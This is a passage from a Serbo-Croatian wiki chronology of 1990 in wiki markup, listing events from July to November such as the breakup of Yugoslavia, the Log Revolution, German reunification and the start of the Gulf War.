Jugoslaviju, plus teritorije gde su Srbi bili u većini 6. aprila 1941.; bez autonomije za Kosovo. * [[14. 7.|14]] - [[16. 7.]] - Sastanak [[Mihail Gorbačov|Gorbačov]] - [[Helmut Kohl|Kohl]] u Moskvi i Stavropolju - Gorbačov pristaje da ujedinjena Nemačka bude u [[NATO]], sovjetska vojska će se povući iz Nemačke za 3-4 godine, cena naknadno utvrđena na 20 milijardi maraka<ref name="KieningerMoney" />. * [[16. 7.]] - Luzonski zemljotres na Filipinima, preko 1.600 mrtvih. * 16/[[17. 7.]] - [[Savez komunista Srbije]] i Socijalistički savez radnog naroda Srbije se u ujedinjuju u [[Socijalistička partija Srbije|Socijalističku partiju Srbije]] na čelu sa [[Slobodan Milošević|Slobodanom Miloševićem]] (vladajuća partija do 2000/01). * [[21. 7.]] - Održan koncert ''The Wall – Live in Berlin''. [[Datoteka:Croatia CoA 1990.svg|mini|100px|Šahovnica]] * [[25. 7.]] - Hrvatski Sabor usvaja Amandmane LXIV. do LXXV. na Ustav SR Hrvatske. Briše se "Socijalistička" iz naziva, mjenjaju se državni simboli (»[[grb Hrvatske|šahovnica]]«) i nazivi dužnosnika<ref>[https://narodne-novine.nn.hr/clanci/sluzbeni/1990_07_31_610.html Odluka o proglašenju Amandmana LXIV. do LXXV. na Ustav Socijalističke Republike Hrvatske]. narodne-novine.nn.hr</ref>. * 25. 7. - U [[Srb]]u održan sabor Srba, "ustanak bez oružja", na kojem je usvojena Deklaracija o suverenosti i autonomiji srpskog naroda i osnovano Srpsko nacionalno vijeće kao organ Srba u Hrvatskoj; Tuđman smatra da se time želi Hrvatska pretvoriti u Kosovo i iznuditi vojna intervencija<ref>[http://www.upi.com/Archives/1990/07/25/Serbs-declare-autonomy-within-Croatia/4793648878400/ Serbs declare autonomy within Croatia]. upi.com Archives July 25, 1990</ref>. * 25. 7. - Anketa naručena od savezne vlade tvrdi da 79% Jugoslovena podržava njenu politiku, 24% je za federaciju, 21% za konfederaciju i 7% za raspad zemlje<ref>[http://www.upi.com/Archives/1990/07/25/Poll-prime-minister-has-popular-support/3066648878400/ Poll: prime minister has popular support]. upi.com Archives July 25, 1990</ref>. Inflacija u ovom mesecu je skočila na 2,2%<ref>[http://www.upi.com/Archives/1990/08/06/Yugoslavia-inflation-rate-rises-to-22-percent-in-July/7515649915200/ Yugoslavia inflation rate rises to 2.2 percent in July]. upi.com Archives Aug. 6, 1990</ref>. * [[26. 7.]] - Zakon o osnutku [[Hrvatska izvještajna novinska agencija|Hrvatske izvještajne novinske agencije]] – HINA-e * [[27. 7.]] - Muslimanska grupa Jamaat al Muslimeen pokušava državni udar na [[Trinidad i Tobago|Trinidad i Tobagu]], stradalo najmanje 26 ljudi. * 27. 7. - [[Beloruska SSR]] proglašava suverenost. * [[28. 7.]] - [[Alberto Fujimori]] postaje predsednik [[Peru]]a (do 2000). * [[29. 7.]] - Predsednik [[SIV]]-a [[Ante Marković]] na mitingu na [[Kozara|Kozari]] objavljuje osnivanje stranke, [[Savez reformskih snaga Jugoslavije|Saveza reformskih snaga Jugoslavije]]. * [[30. 7.]] - Poslanik Ian Gow je poslednji britanski političar ubijen od IRA-e. * [[31. 7.]] - Tjednik "Danas" objavljuje transkript tajnog razgovora Tuđman-Rašković, kompromitujući po ovog drugog - radikalniji [[Milan Babić]] preuzima prevlast u SDS od jeseni<ref name="Caspersen2010">{{cite book|author=Nina Caspersen|title=Contested Nationalism: Serb Elite Rivalry in Croatia and Bosnia in the 1990s|url=https://books.google.com/books?id=UtYcqAF1EegC&pg=PA52|date=30 January 2010|publisher=Berghahn Books|isbn=978-1-84545-791-4|pages=52–}}</ref>. * 31. 7. - Štrajk upozorenja jugoslovenske metalske industrije - British Steel preporučuje da se zatvori osam od 12 preduzeća te grane i otpusti 50 od 110 hiljada zaposlenih<ref>[http://www.upi.com/Archives/1990/07/31/Yugoslav-metal-workers-stage-one-hour-warning-strike/5545649396800/ Yugoslav metal workers stage one-hour warning strike]. upi.com Archives July 31, 1990</ref>. === Avgust/August/Kolovoz === * [[1. 8.]] - U Veneciji održan prvi sastanak Pentagonalne inicijative (Jugoslavija, Italija, Mađarska, Austrija i Čehoslovačka) - za političku i ekonomsku saradnju u cilju stabilnosti na kontinentu (od 1992. [[Srednjoeuropska inicijativa]]). * 1. 8. - [[Želju Želev]] postaje prvi nekomunistički predsednik [[Bugarska|Bugarske]] (do 1997). [[Datoteka:Iraqi Governorates (1990-1991).svg|mini|220px|Irak sa Kuvajtom kao 19. muhafazom]] * [[2. 8.]] - '''[[Prvi zalivski rat]]''': Irak invadirao [[Kuvajt]] i ubrzo ga proglasio za 19. muhafazu (provinciju). * [[3. 8.]] - Hrvatsko ministarstvo pravde zabranilo održavanje referenduma o srpskoj autonomiji. * [[5. 8.]] - Svečano postrojavanje polaznika prvog „Tečaja za obuku policijskih službenika“, odnosno pripadnika „Prvog hrvatskog redarstvenika“ u Zagrebu. * [[6. 8.]] - Premijerka [[Pakistan]]a [[Benazir Bhutto]] smenjena pod optužbom korupcije (vratiće se 1993-96). * 6. 8. - Savet bezbednosti UN naređuje trgovački embargo protiv Iraka. * [[7. 8.]] - [[Afrički nacionalni kongres]] [[Nelson Mandela|Nelsona Mandele]] odustao je, posle 29 godina, od oružane borbe protiv vlasti bele manjine u [[Južnoafrička Republika|Južnoj Africi]], a zauzvrat je vlada te zemlje prihvatila razgovore o okončanju sistema [[aparthejd]]a. * 7. 8. - Operacija Pustinjski štit: predsednik [[George H. W. Bush]] šalje vojsku u [[Saudijska Arabija|Saudijsku Arabiju]] protiv Iraka. Dolazak "nevernika" u "Zemlju dve džamije" je naljutio [[Osama bin Laden|Osamu bin Ladena]]. * [[10. 8.]] - "[[Magellan (svemirska sonda)|Magellan]]" u orbiti oko [[Venera (planeta)|Venere]], misija traje do 1994. [[Datoteka:Church of St. Clement of Ohrid, Skopje, Macedonia (50353019477).jpg|mini|[[Hram Sv. Klimenta Ohridskog]]]] * [[12. 8.]] - U Skoplju je osvećen [[Hram Sv. Klimenta Ohridskog]], saborna crkva tada nepriznate [[Makedonska pravoslavna crkva|MPC]]. * 12. 8. - Izbijaju sukobi između [[Xhosa|Xhosi]] i [[Zulu]]a u Južnoj Africi, ima oko 500 stradalih. * [[13. 8.]] - [[Borisav Jović]], predsednik Predsedništva SFRJ, primio delegaciju iz Knina koja ga je informisala o »ugroženosti Srba u Hrvatskoj«. * [[14. 8.]] - Hrvatski predsednik Tuđman upozorava opštine koje budu učestvovale u referendumu da će ostati bez finansijske pomoći. * 14. 8. - Slovenačka vlada izjavljuje da će smanjiti broj regruta za JNA, samo 15% može služiti van republike. [[Datoteka:SAO 1990.png|300px|mini|Proglašene srpske autonomne oblasti]] * [[17. 8.]] - '''[[Balvan revolucija]]''' otpočinje pobunom [[Hrvatski Srbi|srpskog]] stanovništva u Kninu i okolini protiv nove hrvatske vlasti, inicirana pokušajem hrvatske policije da uzme oružje iz stanica u [[Benkovac|Benkovcu]] i [[Obrovac|Obrovcu]] (na čelu kninskih milicajaca [[Milan Martić]]). Tri helikoptera MUP RH presretnuta od strane zrakoplova JNA (danas dan [[Zrakoplovna jedinica specijalne policije MUP-a RH|zrakoplovne jedinice]]). * [[18. 8.]] - U Sarajevu osnovana [[HDZ BiH]], v.d. predsjednika je [[Stjepan Kljuić]]. * [[19. 8.]] - [[2. 9.]] - [[Datoteka:Ballot.gif|25px]] Referendum Srba u Hrvatskoj o autonomiji: široko definisano biračko pravo, 99,7% "za". * [[19. 8.]] - [[Datoteka:Basketball pictogram.svg|25px]] Pobedom nad SSSR na prvenstvu u Argentini, Jugoslavija po treći put postala prvak sveta u košarci; u timu prvenstva su [[Toni Kukoč]] (MVP) i [[Vlade Divac]]; [[Dražen Petrović]] je deveti strelac prvenstva. Očekuje se da će Jugoslavija vladati svetskom košarkom, ako SAD ne pusti NBA igrače u reprezentaciju<ref>[http://www.upi.com/Archives/1990/08/20/Yugoslavia-Team-of-the-90s/7090651124800/ Yugoslavia: Team of the '90s]. upi.com Archives Aug. 20, 1990</ref>. * [[22. 8.]] - [[Turkmenska SSR]] proglasila suverenost. * [[23. 8.]] - [[Armenska SSR]] proglašava suverenost i mjenja ime u Republika Armenija. * [[24. 8.]] - Na vanrednom zasedanju hrvatskog Sabora zbog nemira u Kninskoj krajini, usvojena Rezolucija o zaštiti ustavnog poretka i o nacionalnim pravima u Hrvatskoj. Za člana Predsedništva SFRJ iz Hrvatske, umjesto [[Stipe Šuvar]]a, izabran [[Stjepan Mesić]] (zauzima položaj [[19. 10.]]). * [[26. 8.]] - Najveća katastrofa u jugoslovenskom rudarstvu: u jami "Dobrnja-jug" rudnika [[Kreka]] od eksplozije poginulo 180 rudara. * 26. 8. - Demonstranti u Sofiji zapalili sedište Bugarske socijalističke partije. * [[26. 8.]] - [[2. 9.]] - [[Datoteka:Athletics pictogram.svg|25px]] [[Evropsko prvenstvo u atletici 1990.]] u [[Split]]u. Neke medalje: [[Dragutin Topić]] zlato ([[skok u vis]]), [[Borut Bilač]] bronza ([[skok u dalj]]), [[Snežana Pajkić]] zlato ([[1500 metara]]), [[Biljana Petrović]] srebro (skok u vis). * [[29. 8.]] - Delegacija američkih republikanskih senatora, na čelu sa [[Bob Dole|Bobom Dolom]] stiže u [[Priština|Prištinu]] - osuda "srpske represije na Kosovu" (istog dana razbijene albanske demonstracije u gradu). * [[31. 8.]] - Potpisan ugovor o ujedinjenju dve Nemačke. === Septembar/Rujan === * [[1. 9.]] - Izdata novčanica od 10 dinara (djevojčica). * [[2. 9.]] - [[Datoteka:Flag of Transnistria (state).svg|25px]] [[Pridnjestrovlje]] proglašava nezavisnost od [[Moldova|Moldove]] (ne priznaje ga nijedna članica UN); u novembru dolazi do prvih sukoba (→ [[Rat u Pridnjestrovlju]]). * [[3. 9.]] - Generalni štrajk Albanaca na Kosovu. Misija Međunarodne Helsinške federacije za ljudska prava proterana 5. septembra. * 5. i 9. 9. - Šrilankanska vojska ubila 342 civila u dva masakra. * [[7. 9.]] - Na tajnom sastanku u [[Kačanik]]u delegati raspuštene Skupštine Kosova doneli Ustav Republike Kosovo (tzv. [[Kačanički ustav]], proglašen 13. 9.) - Srbija to smatra nelegalnim, najavljuje krivično gonjenje. * 7. 9. - Osnovana [[Antiteroristička jedinica Lučko]]. * [[9. 9.]] - Miting [[SPO]] kod [[Novi Pazar|Novog Pazara]], izjava Vuka Draškovića o ostajanju "i bez ruke i bez [tuđeg] barjaka", sukob milicije i muslimanskih demonstranata. * 9. 9. - [[Prvi liberijski građanski rat]]: pobunjenički komandant [[Prince Johnson]] uhvatio predsednika [[Samuel Doe|Samuela Doea]] i ubio ga nakon snimljenog mučenja. * [[10. 9.]] - Papa posvetio [[Bazilika Majke Božje Kraljice mira u Yamoussoukru|Baziliku Majke Božje Kraljice mira u Yamoussoukru]], najveću crkvu na svijetu. * [[11. 9.]] - Afera "Fočatrans", sukob između Srba i Muslimana u [[Foča|Foči]]. Srbi demonstrirali u gradu nakon što je iz lokalne autobuske kompanije, čiji je direktor Musliman, otpušteno stotinak Srba - vlada BiH raspustila gradsku vladu i zabranila okupljanja<ref>[http://www.upi.com/Archives/1990/09/11/Four-hurt-in-Yugoslavia-ethnic-unrest/6327653025600/ Four hurt in Yugoslavia ethnic unrest]. upi.com Archives Sept. 11, 1990</ref>. * 11. 9. - Predsednik [[George H. W. Bush]] pominje u obraćanju Kongresu cilj [[novi svetski poredak (politika)|novog svetskog poretka]], kao nove ere mira i harmonije, ali se o tome kasnije uglavnom govori u smislu [[novi svetski poredak (teorija zavere)|teorije zavere]]. * [[12. 9.]] - Miting opozicije u Beogradu: "poslednje upozorenje" da se organizuju slobodni izbori, inače bojkot. * 12. 9. - Potpisan Ugovor o konačnom rešenju u odnosu na Nemačku ("Ugovor Dva plus Četiri"). * [[13. 9.]] - Oružani okršaj u [[Podujevo|Podujevu]] tokom potrage za nelegalnim oružjem, poginula dva Albanca. * [[14. 9.]] - Formalni početak [[Projekat ljudskog genoma|Projekta ljudskog genoma]] (završetak proglašen 2003). * [[15. 9.]] - Masovni skup u [[Velika Kladuša|Velikoj Kladuši]], [[Fikret Abdić]] ulazi u [[Stranka demokratske akcije|SDA]]. * [[septembar]] - Osn. [[Muslimanska bošnjačka organizacija]] ([[Adil Zulfikarpašić]]), odvojena od [[Stranka demokratske akcije|SDA]]. * septembar - Hrvatska vlada naredila razoružanje rezervne milicije u opštinama naseljenim Srbima. * [[16. 9.]] - Hrvatski specijalci blokirali pristupe [[Jasenovac|Jasenovcu]]. * [[18. 9.]] - [[Vojislav Šešelj|Šešeljevi]] četnici ometaju promociju Reformista u beogradskom Domu omladine, književnik [[Mirko Kovač]] pogođen fotoaparatom u glavu. * 18. 9. - [[Olimpijske igre 1996]] dodeljene Atlanti - jak kandidat bila i Atina, Beograd ispao u prvom krugu glasanja. * [[19. 9.]] - [[FK Crvena Zvezda]] igrala 1:1 sa [[FK Grashoper]]om u Beogradu (početak trijumfalnog Kupa šampiona 1990-[[1991|91]].). * [[20. 9.]] - [[Južna Osetija|Južnoosetska]] autonomna oblast proglasila odvajanje od Gruzije. * [[22. 9.]] - U Sremskim Karlovcima centralno obeležavanje 300-godišnjice velike [[Seoba Srba|Seobe Srba]] pod Arsenijem Čarnojevićem. * [[24. 9.]] - "[[Borba (novine)|Borba]]" nije izašla prvi put za 45 godine zbog dugova (od aprila su pod pokroviteljstvom Savezne skupštine, što ih čini jedinim jugoslovenskim novinama). * 24. 9. - Istočna Nemačka napušta Varšavski pakt, [[Nacionalna narodna armija]] je rasformirana dan pre ujedinjenja.<ref>[http://www.php.isn.ethz.ch/lory1.ethz.ch/collections/coll_gdr/intro2644.html?navinfo=44755#_ftnref3 The GDR in the Warsaw Pact]. php.isn.ethz.ch</ref> * [[26. 9.]] - Upadom navijača na teren prekinuta utakmica Hajduk-Partizan, zapaljena jugoslovenska zastava. * [[27. 9.|27]] - [[30. 9.]] - Masovna okupljanja Srba na [[Banija|Baniji]]. Intervencija snaga MUP Hrvatske i hapšenje 360 ljudi u [[Petrinja|Petrinji]] (specijalci konfiskuju oružje i municiju iz milicijskih stanica i skladišta TO u opštinama naseljenim Srbima). Srbi traže zaštitu u vojnoj kasarni. * [[28. 9.]] - [[Datoteka:Flag of the Socialist Republic of Serbia.svg|border|30px]] Srbija dobila novi [[Ustav Srbije od 1990. godine|Ustav]]. Pokrajine gube atribute državnosti i postaju oblik teritorijalne autonomije; neka ovlašćenja federacije navedena kao republička. Takođe donesen novi izborni zakon za višestranačke izbore, zakazane u decembru. ** Članom 72, Republika Srbija uređuje i obezbeđuje suverenost, nezavisnost i teritorijalnu celokupnost Republike Srbije i njen međunarodni položaj i odnose s drugim državama i međunarodnim organizacijama, kao i njenu odbranu i bezbednost. * 28. 9. - Amandmani na slovenački ustav ističu mirnodopsku komandu nad tamošnjom [[teritorijalna odbrana|Teritorijalnom odbranom]]. * 28. 9. - Srbi odneli oružje iz policijske stanice u Glini, sukob sa policijom u Petrinji. * [[29. 9.]] - Miting SPO u [[Kosovo Polje|Kosovom Polju]], koji pristalice SPS žele rasturiti (kamenice na Vuka). * 29. 9. - Donji Lapac, Glina, Dvor na Uni i Obrovac - Srbi uzimaju oružje iz policijskih stanica, sukob sa policijom u Dvoru<ref>[http://www.upi.com/Archives/1990/09/29/Serbs-break-into-police-stations/4993654580800/ Serbs break into police stations]. upi.com Archives Sept. 29, 1990</ref>, po jedan upucani s obe strane (?). * [[30. 9.]] - Uveče, blokade na putevima i prugama oko Knina, 2. 10. prekinut saobraćaj prema Splitu i Zadru ("anonimna grupa" traži puštanje pritvorenih Srba). * septembar - Inflacija u SFRJ skočila na 7% (sa manje od 1% u prethodna dva meseca) zbog većih plata i cena energije. * septembar-oktobar - ''Ram Rath Yatra'' ("Ramino hodočašće kočijama"): indijska partija [[Bharatiya Janata]] organizuje veliki marš za obnovu/podizanje Raminog hrama u Ajodiji - odgovor na plan indijske vlade da se 27% državnih poslova rezerviše za niže kaste. === Oktobar/Listopad === [[Datoteka:Bundesarchiv Bild 183-1990-1003-400, Berlin, deutsche Vereinigung, vor dem Reichstag.jpg|thumb|220px|[[Reunifikacija Njemačke]]]] [[Datoteka:East Germany and West Germany. LOC 91685645.jpg|mini|Stare i nove države Njemačke]] * [[1. 10.]] - Srpsko nacionalno vijeće proglasilo na osnovu plebiscita autonomiju Srba u Hrvatskoj. * 1. 10. - Vlada Srbije traži od saveznih vlasti da "zaštiti Srbe od represije" u Hrvatskoj; mitinzi u Srbiji i Crnoj Gori - ispred Skupštine govore Vuk Drašković (ako Milošević "neće da se stara o Srbima", "opozicija će odgovoriti na objavu rata od strane ustaških vlasti Srbima u Hrvatskoj") i Vojislav Šešelj. * 1. 10. - Počinje [[Ruandanski građanski rat]] između Ruandanskog patriotskog fronta i predsednika [[Juvénal Habyarimana|Habyarimane]]. * [[2. 10.]] - Vanredno zasedanje saveznog predsedništva - bez dogovora za rešenje konflikta u Hrvatskoj, odbačeni slovenački amandmani o komandi nad Teritorijalnom odbranom (TO). * 2. 10. - Hrvatska objavljuje povlačenje specijalne policije iz srpskih gradova i amnestiju za one koji vrate ukradeno oružje, puštanje uhapšenih. * 2. 10. - Vuk Drašković objavljuje da SPO prekida predizborne aktivnosti - ali u opoziciji je neslaganje oko eventualnog bojkota. * 2. 10. - Prilikom sletanja na aerodrom Guangzhou Baiyun, otmičar oteo kontrole i udario u dva aviona, ukupno 128 mrtvih. [[Datoteka:EC12-1990 European Community map enlargement.svg|mini|left|200px|[[Evropska zajednica]] 1990-95.]] * [[3. 10.]] - {{flagicon|Nemačka}} [[Reunifikacija Njemačke]]; [[Njemačka demokratska republika|Njemačka Demokratska Republika]] (Istočna) se raspušta; namjesto 14 okruga je obnovljeno pet država, koje se priključuju [[Savezna Republika Njemačka|Saveznoj Republici Njemačkoj]] (Zapadnoj, sada jedinstvenoj); grad [[Berlin]] je ujedinjen i označen za glavni grad. ** Ovim su prošireni i [[Evropska zajednica]] i [[NATO]] * [[4. 10.]] - Počinje povlačenje hrvatskih specijalnih policijskih snaga iz srpskih krajeva - napetost popušta, ali železnički saobraćaj prema moru i dalje prekinut. * 4. 10. - Zastupnik Sabora [[Ivan Bobetko]] gađao kolegu [[Radoslav Tanjga|Tanjgu]] iz [[SDS]] aktovkom, nakon što je ovaj rekao da je hrvatska vlast ustašoidna. * 4. 10. - Vojna policija JNA ušla u, već ispražnjeni, štab slovenačke Teritorijalne obrane - po naređenju saveznog predsedništva nakon što je predsednik Kučan postavio novog komandanta TO. * [[6. 10.]] - Objavljen projekat [[Nacrt Ugovora o jugoslavenskoj konfederaciji 1990.|konfederalnog modela jugoslovenske zajednice]], koji su predsedništva Hrvatske i Slovenije 3. oktobra dostavila Predsedništvu SFRJ: savez nezavisnih država sa zajedničkim tržištem. * [[7. 10.]] - Srbija prekinula razgovore sa saveznom vladom o Kosovu, jer su se dva njena člana sastajala sa albanskim predstavnicima. * [[8. 10.]] - [[Prva intifada]]: neredi kod [[Kupola na stijeni|Kupole na stijeni]], ubijeno 17 Palestinaca. * 8. 10. - U Njujorku počinje peti i poslednji meč između Kasparova i Karpova, kontroverza oko toga što Kasparov igra pod (starom) ruskom trobojkom. * [[10. 10.]] - [[SSSR]] i [[Nemačka]] potpisali ugovor o povlačenju sovjetskih vojnika iz Nemačke (380.000 vojnika i 220.000 članova porodice). * 10. 10. - Devojčica Nayirah "svedoči" da su irački vojnici u Kuvajtu vadili bebe iz inkubatora i ostavljali ih da umru - ispostavlja se kao neistina. [[Datoteka:Ban Josip Jelačić statue, Zagreb.JPG|thumb|150px|Spomenik banu [[Josip Jelačić|Josipu Jelačiću]]]] * [[11. 10.]] - [[Željko Ražnatović]] Arkan navodno osnovao [[Srpska dobrovoljačka garda|Srpsku dobrovoljačku gardu]] u manastiru [[manastir Pokajnica|Pokajnica]]. * [[12. 10.]] - Šef SK Kosova [[Rahman Morina]] umro od srčanog udara na konstitutivnoj sednici SPS za Kosmet. * 12. 10. - Njemački ministar unutarnjih poslova [[Wolfgang Schäuble]] teško ranjen u atentatu, ostaje paraliziran. * 12. 10. - Predsednik egipatske skupštine Rifaat el-Mahgoub ubijen u Kairu, za šta su 1999. osuđeni islamisti (→ [[:en:Returnees from Albania]]). * [[13. 10.]] - Sirijske snage izbacile [[Michel Aoun|Michela Aouna]] iz libanske predsedničke palate, veliki broj libanskih vojnika je ubijen nakon predaje - ''[[Libanski građanski rat]] je završen'' nakon 15 godina. * 14/15. 10. - U Briselu bačeni Molotovljevi kokteli na ambasadu SFRJ i prostorije JAT-a; ambasador ulaže demarš belgijskoj vladi. * oktobar - Jedna mađarska firma isporučuje kalašnjikove u Hrvatsku<ref>[https://www.upi.com/Archives/1991/02/07/Hungarian-officials-implicated-in-Croatia-arms-deal/2697665902800/ Hungarian officials implicated in Croatia arms deal]. upi.com</ref> (mađarski premijer u februaru '91 potvrđuje prodaju 10.000 kalašnjikova<ref>[https://www.upi.com/Archives/1991/02/12/Parliament-rejects-further-probe-of-Croatian-arms-deal/9390666334800/ Parliament rejects further probe of Croatian arms deal]. upi.com</ref>). [[Datoteka:Frankfurter Messeturm 2.jpg|mini|180px|''[[Messeturm]]'' u Frankfurtu, najviša zgrada Evrope do 1997.|left]] * oktobar - U Frankfurtu otvoren neboder [[Messeturm]], najviša zgrada u Evropi do 1997 (63 sprata, 257 m). * [[16. 10.]] - Na [[Trg bana Jelačića]] u Zagrebu, raniji Trg Republike, vraćen spomenik banu, uklonjen [[1947]] - sada okrenut ka jugu. * [[17. 10.]] - [[Hrvatska nogometna reprezentacija]] igrala sa SAD u Zagrebu. * 17. 10. - Na sinjskom aerodromu osnovana prva postrojba budućeg [[Hrvatsko ratno zrakoplovstvo i protuzračna obrana|Hrvatskog ratnog zrakoplovstva]]. * 17. 10. - Na TV Beograd pročitan govor saveznog predsednika Jovića o jugoslovenskoj krizi, nakon što je skupština odložila obraćanje za dva dana; jučerašnji sastanak Predsedništva i republičkih lidera o novom uređenju nije dao rezultata<ref>[http://www.upi.com/Archives/1990/10/17/Presidency-fails-to-agree-on-constitutional-reforms/9044656136000/ Presidency fails to agree on constitutional reforms]. upi.com Archives Oct. 17, 1990</ref>. Predsedništvo SFRJ je dostavilo Skupštini koncept federativnog uređenja "Savezne Republike Jugoslavije". * 17. 10. - Na ''usenet''-u formirana baza podataka [[Internet Movie Database]] (od 1993. na WWW). * [[18. 10.]] - Izveštaj ''National Intelligence Council''-a, pod pokroviteljstvom [[CIA]]: "Jugoslavija će prestati da funkcioniše kao federalna država u roku od godinu dana....raspad će pratiti ozbiljni lokalni sukobi". * [[19. 10.]] - [[Stjepan Mesić]] potvrđen u Saveznoj skupštini za člana Predsedništva, i njegovog potpredsednika, nakon što je Srbija odustala od blokade. * 19. 10. - Prikazan film ''[[Dances with Wolves]]''. * [[23. 10.]] - Skupština Srbije donosi Uredbu o uvođenju poreza i taksi na robu iz Slovenije i Hrvatske. * 23. 10. - Prva emisija programa [[Yutel]], na drugom programu TV Sarajevo. * 24 - [[25. 10.]] - Sastanak ministara balkanskih zemalja u Tirani. * [[25. 10.]] - Albanski pisac [[Ismail Kadare]] zatražio azil u Francuskoj. * 25. 10. - [[Kazaška SSR]] proglasila suverenost. * 25. 10. - [[Evander Holyfield]] pobedio [[Buster Douglas|Bustera Douglasa]] u Nevadi, neosporni šampion do 1992. * [[27. 10.]] - Štampan prvi broj nedeljnika "[[Vreme (nedeljnik)|Vreme]]". * 27. 10. - [[Askar Akajev]] postao predsednik [[Kirgistan]]a (do zbacivanja 2005). * 27. 10. - [[Saparmurat Nijazov]] predsednik [[Turkmenistan]]a (do smrti 2006). * [[28. 10.]] - Prvi višestranački izbori u Gruziji: ubedljiva pobeda koalicije Okrugli sto - Slobodna Gruzija na čelu sa [[Zvijad Gamsahurdija|Zvijadom Gamsahurdijom]] (na čelu zemlje do zbacivanja 1991/92). * krajem oktobra - Amandman američkog Kongresa: bez zajmova ili kredita iz SAD za Jugoslaviju, osim ako se ne radi o republici koja je sprovela slobodne izbore i koja nije uključena u sistematsko kršenje ljudskih prava (u vezi sa kosovskom situacijom). * [[30. 10.]] - Margaret Thatcher u parlamentu kaže ''No, no, no'' [[Jacques Delors|Delorsovim]] planovima u vezi Evropskog parlamenta, Komisije i Saveta ministara. Zamenik premijer [[Geoffrey Howe]] podnosi ostavku dva dana kasnije. === Novembar/Studeni === * [[4. 11.]] - Granice SFRJ zatvorene za sovjetske građane (iznosili dolare iz zemlje). * [[5. 11.]] - U Rakitju ustrojena policijska jedinica za specijalne zadatke, kasnija [[1. mehanizirana gardijska brigada "Tigrovi"|1. brigada ZNG - "Tigrovi"]]. * 5. 11. - Izraelski rabin i političar [[Meir Kahane]] ubijen u Njujorku, prvi slučaj islamističkog ekstremizma u SAD. * [[6. 11.]] - [[Nawaz Sharif]] premijer Pakistana (1990-93, 1997-99, 2013-17). * [[8. 11.]] - Rekonstrukcija hrvatske vlade: [[Franjo Gregurić]] potpredsjednik za ekonomiju umjesto [[Mate Babić]]a (bio za sporiju privatizaciju), [[Frane Vinko Golem]] vanjski poslovi umjesto [[Zdravko Mršić|Zdravka Mršića]] (odlazi na čelo Agencije za restrukturiranje) itd. Zakonom se u Hrvatskoj TO stavlja pod republičku kontrolu. * [[9. 11.]] - Novi ustav Kraljevine [[Nepal]] ustanovio višestranačje i ustavnu monarhiju, što je vrhunac narodnog pokreta. * 9. 11. - Čehoslovačka agencija javlja da tamošnje devojke prodaju kao belo roblje u Jugoslaviji<ref>[http://www.upi.com/Archives/1990/11/09/Czech-women-sent-as-white-slaves-to-Yugoslavia/5481658126800/ Czech women sent as white slaves to Yugoslavia]. upi.com Archives Nov. 9, 1990</ref>. * [[11. 11.]] i [[25. 11.]] - [[Datoteka:Coat of arms of the Socialist Republic of Macedonia.png|25px|Grb SR Makedonije]] Višestranački izbori u [[SR Makedonija|Makedoniji]] - relativna većina za [[VMRO-DPMNE]] (38 poslaničkih mesta), Savez komunista Makedonije-Partija demokratskog preobražaja 31, Savez reformskih snaga tek četvrti. * [[12. 11.]] - [[Tim Berners-Lee]] napisao formalniji predlog za [[World Wide Web]], do Božića ima prvi [[web browser]], ''WorldWideWeb'', i prvi [[web server]]. * 12. 11. - Zbačen kralj [[Lesoto]]a [[Moshoeshoe II]], nasleđuje ga sin [[Letsie III]] (Moshoeshoe se vraća 1995-96). * [[13. 11.|13]] - [[14. 11.]] - [[Masakr u Aramoani]] na [[Novi Zeland|Novom Zelandu]], prilikom koga žitelj primorskog mesta [[Aramoana]] ubija 13 suseda i policajca u najgorem masovnom krvoproliću u istoriji zemlje. * [[14. 11.]] - Vladajuća koalicija [[DEMOS]] u Sloveniji predlaže referendum o otcepljenju, jer se slovenačko-hrvatski predlog o konfederaciji sporo razmatra. * 14. 11. - [[Nemačka]] i [[Poljska]] potpisale ugovor kojim je potvrđena [[granica na Odri i Nisi]]. * 14. 11. - Izbacivanje skvotera iz berlinske ulice Mainzer, najveća policijska operacija u gradu od rata. * [[15. 11.]] - Predsednički kandidat [[Vojislav Šešelj]] pušten iz zatvora (od 2. 10. u dva navrata služio kazne zbog prekršaja javnog reda i mira). * 15. 11. - Ante Marković osuđuje vlade Slovenije, Hrvatske i Srbije zbog kršenja saveznih zakona i odupiranja reformama - TV Beograd nije prenosila govor<ref>[http://www.upi.com/Archives/1990/11/15/Markovic-warns-republics-against-undermining-reforms/8667658645200/ Markovic warns republics against undermining reforms]. upi.com Archives</ref>. * [[16. 11.]] - Prikazan film ''[[Home Alone]]''. [[Datoteka:Local elections 1990 B&H.png|mini|Lokalni izbori u BiH 1990.]] * [[18. 11.]] i [[2. 12.]] - [[Datoteka:Coat of Arms of the Socialist Republic of Bosnia and Herzegovina.svg|25px|Grb SR BiH]] U [[BiH]] održani višestranački izbori: ** za Predsjedništvo SR BiH (18. 11.) - [[Fikret Abdić]] dobio najviše glasova među Muslimanima, međutim [[Alija Izetbegović]] prema ranijem dogovoru postao predsjednik predsjedništva. ** [[Opći izbori u SR BiH 1990.|za Skupštinu SR BiH]] na kojima pobjeđuju [[Nacionalne stranke u BiH|nacionalne stranke]] ([[Stranka demokratske akcije|SDA]], [[SDS BiH]], [[HDZ BiH]]) - sklopiće koaliciju. ** održani i [[Lokalni izbori u SR BiH 1990.|lokalni izbori]]. * [[19. 11.]] - Počinje s radom Nezavisna televizija [[Studio B]]. * 19. 11. - U Beogradu osnovana stranka [[Savez komunista - Pokret za Jugoslaviju]] ("generalska stranka"). * 19. 11. - U Parizu potpisan [[Ugovor o konvencionalnim oružanim snagama u Evropi]] (NATO i Varšavski pakt). * 19. 11. - Pop sastavu [[Milli Vanilli]] oduzet je [[Grammy]] jer uopće nisu koristili vlastite vokale na albumu “[[Girl You Know It’s True]]”. * [[21. 11.]] - Usvojena Pariska povelja za novu Evropu. [[Datoteka:John Major 1996.jpg|mini|100px|[[John Major]]]] * [[22. 11.]] - [[Margaret Tačer]] se povlači sa mesta premijera [[Ujedinjeno Kraljevstvo|Ujedinjenog Kraljevstva]], sledi [[John Major]] (do 1997). * [[23. 11.]] - Nepoznate osobe izrešetale policijski auto kod Benkovca, poginuo policajac Goran Alavanja, još jedan ranjen. * 23. 11. - Opozicija u Srbiji objavila da bojkotuje izbore ako se ne prihvate amandmani na izborni zakon (većinom prihvaćeni 27. 11.). * [[24. 11.]] - [[Keckova opservatorija]] na Havajima: prva svetlost teleskopa Keck 1, sa 9 od 36 segmenata - dovršen je 1993. kao najveći teleskop na svetu, veličine deset metara. * 24. 11. - 4. 12. - Svetski šampionat u rukometu za žene u Južnoj Koreji: SSSR 1, Jugoslavija 2. * [[25. 11.]] i [[9. 12.]] - Predsednički izbori u 